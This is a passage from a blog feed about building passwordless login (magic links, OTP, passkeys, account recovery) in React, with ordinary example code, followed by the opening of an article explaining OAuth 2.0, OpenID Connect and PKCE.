tag script language-javascript script-punctuation punctuation" style="color:#5A6072">=</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">{</span><span class="token tag script language-javascript" style="color:#1F4FFF">completeSignIn</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">}</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag attr-name" style="color:#1F4FFF">disabled</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:#5A6072">=</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">{</span><span class="token tag script language-javascript" style="color:#1F4FFF">status </span><span class="token tag script language-javascript operator" style="color:#1F4FFF">===</span><span class="token tag script language-javascript" style="color:#1F4FFF"> </span><span class="token tag script language-javascript string" style="color:#15803D">"verifying"</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">}</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain">status </span><span class="token operator">===</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"verifying"</span><span class="token plain"> </span><span class="token operator">?</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"Signing you in..."</span><span class="token plain"> </span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"Continue signing in"</span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">button</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>React isn't deciding whether the token is valid. It reads the token from the callback URL and, once the user clicks, sends it back to the backend that issued it. The backend should confirm that:</p>
<ul>
<li class=""><strong>The token exists.</strong> Store only a hash of it, so a leaked database doesn't hand out working links.</li>
<li class=""><strong>It hasn't expired.</strong> Minutes, not hours, is the usual lifetime.</li>
<li class=""><strong>It hasn't been used.</strong> Mark it used in the same step that checks it, so two requests racing with the same token can't both succeed.</li>
</ul>
<p>If those checks succeed, the backend authenticates the user and creates a session the same way as for passkeys.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-prefetch-problem-and-how-to-survive-it">The prefetch problem and how to survive it<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#the-prefetch-problem-and-how-to-survive-it" class="hash-link" aria-label="Direct link to The prefetch problem and how to survive it" title="Direct link to The prefetch problem and how to survive it" translate="no">​</a></h3>
<p>Email providers and security products open links to check for malicious websites, so the first thing that opens a magic link often isn't the user. If opening the URL uses up your one-time token, this happens:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">Fragile: opening the link signs the user in</figcaption><ol class="steps_ptmz" aria-label="Fragile: opening the link signs the user in"><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">Email scanner</span><span class="text_K99R code_IywH">GET magic-link URL</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="text_K99R">Token is immediately used up</span></div></li><li class="item_fcGx pause_pVV3"><span class="pauseText_AMAQ">later</span></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">User</span><span class="text_K99R">Clicks the link in the email</span></div></li><li class="item_fcGx"><div class="box_IgAy error_eDz4"><span class="text_K99R">Link no longer works</span></div></li></ol></figure>
<p>A React app has a subtler version of the same problem. Some scanners load the page in a headless browser and run its JavaScript, so a callback that sends the token from a <code>useEffect</code> as soon as the page mounts can be triggered by the scanner too.</p>
<p>That's why our <code>MagicLinkCallback</code> component waits for the user to click <strong>Continue signing in</strong>. The token is still short-lived and single use, but it's only spent after an explicit user action, which a scanner won't take.</p>
<p>There's one more thing to think about with magic links: the user may not open the link on the device where they started the login. They might request it on a laptop, then open the email on their phone and continue from there.</p>
<p>Whether you allow that is a product decision. It makes the experience more flexible, but it also means the email account alone proves the user's identity, because the original browser session is no longer part of that proof.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="email-and-sms-otp-in-react">Email and SMS OTP in React<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#email-and-sms-otp-in-react" class="hash-link" aria-label="Direct link to Email and SMS OTP in React" title="Direct link to Email and SMS OTP in React" translate="no">​</a></h2>
<p>OTP is the pragmatic middle ground. There's nothing to enroll and nothing permanent for the user to remember, and unlike a magic link, the login flow stays in the original browser.</p>
<p>The user enters their email address or phone number, receives a code, and types it back into the application.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="building-an-otp-input-that-does-not-fight-the-user">Building an OTP input that does not fight the user<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#building-an-otp-input-that-does-not-fight-the-user" class="hash-link" aria-label="Direct link to Building an OTP input that does not fight the user" title="Direct link to Building an OTP input that does not fight the user" translate="no">​</a></h3>
<p>There's a surprisingly easy way to make OTP inputs annoying: build six beautiful individual boxes.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">[ 1 ] [ 8 ] [ 4 ] [ 7 ] [ 2 ] [ 9 ]</span><br></span></code></pre></div></div>
<p>Now you have to handle focus movement, backspace, pasting six characters, arrow keys, screen readers and mobile keyboards. Unless you have a strong UX reason otherwise, a single field is wonderfully boring:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">input</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">  </span><span class="token tag attr-name" style="color:#1F4FFF">name</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">otp</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">  </span><span class="token tag attr-name" style="color:#1F4FFF">inputMode</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">numeric</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">  </span><span class="token tag attr-name" style="color:#1F4FFF">autoComplete</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">one-time-code</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">  </span><span class="token tag attr-name" style="color:#1F4FFF">maxLength</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:#5A6072">=</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">{</span><span class="token tag script language-javascript number" style="color:#C43300">6</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">}</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF"></span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><br></span></code></pre></div></div>
<p>Then submit the value as you would any other form field:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword control-flow" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">fetch</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"/api/auth/otp/verify"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">method</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"POST"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">headers</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token string-property property" style="color:#1F4FFF">"Content-Type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"application/json"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">credentials</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"include"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">body</span><span class="token operator">:</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:#0B1633;font-weight:600">JSON</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">stringify</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    email</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    code</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>On the server, a six-digit code has only a million possible values, so the checks around it matter as much as the code itself. The backend should confirm that the code:</p>
<ul>
<li class="">was issued for this email address or phone number, and not just to someone.</li>
<li class="">hasn't expired. A few minutes is typical.</li>
<li class="">hasn't been used. Invalidate it on success, and after too many wrong attempts.</li>
</ul>
<p>Then it creates a session the same way as the other methods.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="rate-limiting-and-resend">Rate limiting and resend<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#rate-limiting-and-resend" class="hash-link" aria-label="Direct link to Rate limiting and resend" title="Direct link to Rate limiting and resend" translate="no">​</a></h3>
<p>Now imagine your login page has a <code>Resend code</code> button, and nothing stopping someone from clicking it 500 times. You've created both an abuse mechanism and, with SMS, a potentially very expensive button.</p>
<p>Your OTP service needs limits around:</p>
<ul>
<li class="">verification attempts,</li>
<li class="">resend attempts,</li>
<li class="">code lifetime,</li>
<li class="">requests per account,</li>
<li class="">requests per IP or other risk signals.</li>
</ul>
<p>Your UI should reflect those limits instead of pretending retries are unlimited:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">button</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag attr-name" style="color:#1F4FFF">disabled</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:#5A6072">=</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">{</span><span class="token tag script language-javascript" style="color:#1F4FFF">secondsRemaining </span><span class="token tag script language-javascript operator" style="color:#1F4FFF">&gt;</span><span class="token tag script language-javascript" style="color:#1F4FFF"> </span><span class="token tag script language-javascript number" style="color:#C43300">0</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">}</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">  </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain">secondsRemaining </span><span class="token operator">&gt;</span><span class="token plain"> </span><span class="token number" style="color:#C43300">0</span><span class="token plain"> </span><span class="token operator">?</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string string" style="color:#15803D">Resend in </span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">secondsRemaining</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string string" style="color:#15803D">s</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token plain"> </span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"Resend code"</span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text"></span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">button</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><br></span></code></pre></div></div>
<p>The frontend timer is there for the user's experience. The server-side limit is what actually provides security, so don't treat one as a substitute for the other.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-sms-is-the-weakest-option">Why SMS is the weakest option<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#why-sms-is-the-weakest-option" class="hash-link" aria-label="Direct link to Why SMS is the weakest option" title="Direct link to Why SMS is the weakest option" translate="no">​</a></h3>
<p>SMS OTP is useful. It's familiar, nearly universal, and sometimes the only practical way to reach a user. But it shouldn't be treated as equivalent to a passkey.</p>
<p>SMS also introduces something email OTP doesn't: <strong>a direct delivery cost for every authentication attempt.</strong> That might be insignificant for a small application and very significant at consumer scale.</p>
<p>So if you're choosing between email and SMS OTP purely because both produce a six-digit code, you're looking at the least important similarity.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="passwordless-and-mfa-are-not-the-same-thing">Passwordless and MFA are not the same thing<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#passwordless-and-mfa-are-not-the-same-thing" class="hash-link" aria-label="Direct link to Passwordless and MFA are not the same thing" title="Direct link to Passwordless and MFA are not the same thing" translate="no">​</a></h2>
<p>This deserves its own section because the two terms get mixed up constantly.</p>
<p><strong>Passwordless</strong> tells you that authentication didn't require a password. <strong>Multi-factor authentication</strong> tells you that it required more than one independent factor. Those are different properties.</p>
<p>A user signing in with only an email OTP is passwordless, but that isn't automatically MFA. A user signing in with a password and then an email OTP is using MFA, but they're obviously not passwordless.</p>
<p>Passkeys have strong authentication properties of their own, but you shouldn't turn "uses biometrics" into the blanket claim that every passkey login is automatically equivalent to whatever MFA policy your organization requires.</p>
<p>Design the authentication flow around the assurance you actually need, not the marketing category the login method happens to sit under.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="implementing-with-asgardeoreact">Implementing with @asgardeo/react<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#implementing-with-asgardeoreact" class="hash-link" aria-label="Direct link to Implementing with @asgardeo/react" title="Direct link to Implementing with @asgardeo/react" translate="no">​</a></h2>
<p>Everything we've looked at so far was deliberately low level, so you know where the boundaries are: React starts authentication and handles the UI, and something else verifies the user.</p>
<p>If you're using WSO2 Identity Platform, you don't need to rebuild those ceremonies inside your React application. The platform supports passkeys, magic links, email OTP and SMS OTP as configurable authentication options, so your React integration stays refreshingly small:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:#5A6072">{</span><span class="token imports"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token imports">  </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">AsgardeoProvider</span><span class="token imports punctuation" style="color:#5A6072">,</span><span class="token imports"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token imports">  </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">SignInButton</span><span class="token imports punctuation" style="color:#5A6072">,</span><span class="token imports"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token imports">  </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">SignedIn</span><span class="token imports punctuation" style="color:#5A6072">,</span><span class="token imports"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token imports">  </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">SignedOut</span><span class="token imports punctuation" style="color:#5A6072">,</span><span class="token imports"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token imports"></span><span class="token imports punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"@asgardeo/react"</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#0B1633;font-weight:600">App</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">AsgardeoProvider</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">      </span><span class="token tag attr-name" style="color:#1F4FFF">clientId</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">&lt;your-app-client-id&gt;</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">      </span><span class="token tag attr-name" style="color:#1F4FFF">baseUrl</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">https://api.asgardeo.io/t/&lt;your-organization&gt;</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">    </span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">SignedOut</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">SignInButton</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">SignedOut</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">SignedIn</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">Dashboard</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">SignedIn</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">AsgardeoProvider</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>There isn't a separate React passkey implementation hiding inside that button. Your application starts authentication, and the <strong>login flow configured for the application</strong> decides whether the user sees a passkey, magic link, OTP or another method.</p>
<p>That's exactly the separation you want. Your React code should care that a user became authenticated, and your identity layer should care how that happened.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="account-recovery-the-part-that-decides-whether-this-works">Account recovery: the part that decides whether this works<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#account-recovery-the-part-that-decides-whether-this-works" class="hash-link" aria-label="Direct link to Account recovery: the part that decides whether this works" title="Direct link to Account recovery: the part that decides whether this works" translate="no">​</a></h2>
<p>We've spent most of this article on how users sign in. Let's finish with the part passwordless demos usually skip: how they get back in when their usual method stops working.</p>
<p>Picture a user who has lost their phone, their laptop and access to their old email account, all at the same time. Can they still recover their account?</p>
<p>Every passwordless system eventually needs an answer to some version of that question, and the answer looks different for each method.</p>
<p>For passkeys, synced credentials handle the ordinary case. When a user replaces a device, their passkeys can come back through their passkey provider.</p>
<p>But that doesn't cover everything. The user might not be able to get into their credential provider, or the passkey might have lived on a single device or security key that's now gone.</p>
<p>For magic links and email OTP, recovery inherits the recovery model of the user's email provider: whoever can get into that inbox can get into your app.</p>
<p>For SMS OTP, it inherits part of the mobile carrier's model, including how a phone number gets moved to a new SIM.</p>
<p>There's a catch that applies to all of them. Every fallback you add can weaken the stronger method sitting above it.</p>
<p>Consider this authentication policy:</p>
<ul>
<li class="">Primary: passkey</li>
<li class="">Fallback: email OTP</li>
<li class="">Recovery: a support request sent by email</li>
</ul>
<p>On paper, this is passkey authentication. In practice, an attacker doesn't need to defeat the passkey at all. They can go after the user's email account instead, and the fallback lets them in. An account is only as strong as the weakest way back into it.</p>
<p>That's why the hardest question in passwordless authentication has little to do with removing the password:</p>
<p><em>What evidence will you trust when the user's normal authenticator is gone?</em></p>
<p>Answer that first, then choose the passwordless method that fits around it.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="conclusion">Conclusion<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#conclusion" class="hash-link" aria-label="Direct link to Conclusion" title="Direct link to Conclusion" translate="no">​</a></h2>
<p>Passkeys, magic links and OTP can all remove the password field from your React application. That's where most of their similarities end.</p>
<p>Passkeys use public-key cryptography and give you the strongest phishing resistance of the three. Magic links turn access to an email account into a very simple sign-in. Email and SMS OTP give you a familiar option that doesn't ask users to enroll anything.</p>
<p>Through all of that, React's job stays fairly small: it starts the flow, presents the UI and carries the result to the backend. The verification itself always happens somewhere else, on your server or at your identity provider.</p>
<p>If there's one decision to make before you write any of this code, make it recovery. Choose your fallback before you choose your primary passwordless method.</p>
<p>We started with passwords, and the reset flows we build for when they go wrong. Going passwordless still leaves you with that problem. It just moves it to recovery, where the strongest sign-in method won't help much if the easiest way into the account is the recovery path underneath it.</p>]]></content:encoded>
            <category>Authentication</category>
            <category>OAuth &amp; OIDC</category>
            <category>User Authentication</category>
        </item>
        <item>
            <title><![CDATA[OAuth 2.0 and OIDC in React: The Authorization Code Flow with PKCE, Explained]]></title>
            <link>https://choreolabs.com/identity-and-access-management/learn/oauth-oidc-pkce-for-react</link>
            <guid>https://choreolabs.com/identity-and-access-management/learn/oauth-oidc-pkce-for-react</guid>
            <pubDate>Fri, 04 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[How the OAuth 2.0 authorization code flow with PKCE works in a React SPA, why the implicit flow died, and how to implement it correctly.]]></description>
            <content:encoded><![CDATA[<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="introduction">Introduction<a href="https://choreolabs.com/identity-and-access-management/learn/oauth-oidc-pkce-for-react#introduction" class="hash-link" aria-label="Direct link to Introduction" title="Direct link to Introduction" translate="no">​</a></h2>
<p>Every time a user clicks a "Sign In" button in your React app, it creates a small storm.</p>
<p>The browser jumps between URLs. Random-looking values appear in query parameters. Requests fly off to an identity provider. Tokens come back. And a few seconds later, your app somehow knows exactly who the user is.</p>
<p>With a modern SDK like the WSO2 Identity Platform React SDK, all of that sits behind a single <code>&lt;SignInButton /&gt;</code> component. This is exactly the point of SDKs. Every time you need authentication, you shouldn't have to rebuild an entire authentication protocol.</p>
<p>In this article, we'll pull back the curtain and show you what's happening behind the scenes, not to bore you with facts, but to show you exactly what's happening so the next time someone asks you why your login page is safe, you'll have a much better answer than "the SDK handles it".</p>
<p>The flow we'll be following is <strong>Authorization Code Flow with PKCE</strong>, the OAuth 2.0 and OpenID Connect flow every React SPA needs to get right.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-is-oauth-20-and-how-is-it-different-from-openid-connect">What is OAuth 2.0 and how is it different from OpenID Connect<a href="https://choreolabs.com/identity-and-access-management/learn/oauth-oidc-pkce-for-react#what-is-oauth-20-and-how-is-it-different-from-openid-connect" class="hash-link" aria-label="Direct link to What is OAuth 2.0 and how is it different from OpenID Connect" title="Direct link to What is OAuth 2.0 and how is it different from OpenID Connect" translate="no">​</a></h2>
<p>We're getting a little ahead of ourselves. Before we get into the Authorization Code Flow and PKCE, let's start with the basics: What is OAuth 2.0, and what is OpenID Connect?</p>
<p>These two terms are often mentioned together and sometimes even used interchangeably. But while they're closely related, they solve two very different problems.</p>
<p>Let's clear this up once and for all: OAuth 2.0 is about authorization, while OpenID Connect is about authentication.</p>
<p>The next two points will make that distinction a little easier to see.</p>
<ul>
<li class="">
<p><strong>OAuth 2.0</strong> is an <em>authorization</em> framework. It answers the question: "Can this application access this resource on behalf of this user?" The output of an OAuth 2.0 flow is an <strong>access token</strong>: a credential your app attaches to API requests to prove that the user has the permission to access this resource and perform the requested action.</p>
</li>
<li class="">
<p><strong>OpenID Connect (OIDC)</strong> is an <em>identity</em> layer built on top of OAuth 2.0. It answers a different question: "Who is this user?" OIDC standardizes how an app requests and verifies a user's identity, and its output is an <strong>ID token</strong>: a token containing claims like the user's name, email, and a unique subject identifier.</p>
</li>
</ul>
<p>Your React application needs both. You use OIDC to establish <em>who's</em> logged in (populate a user profile, decide what to render) and OAuth 2.0 access tokens to make authenticated calls to your backend APIs <em>on that user's behalf</em>.</p>
<p>To summarize,</p>
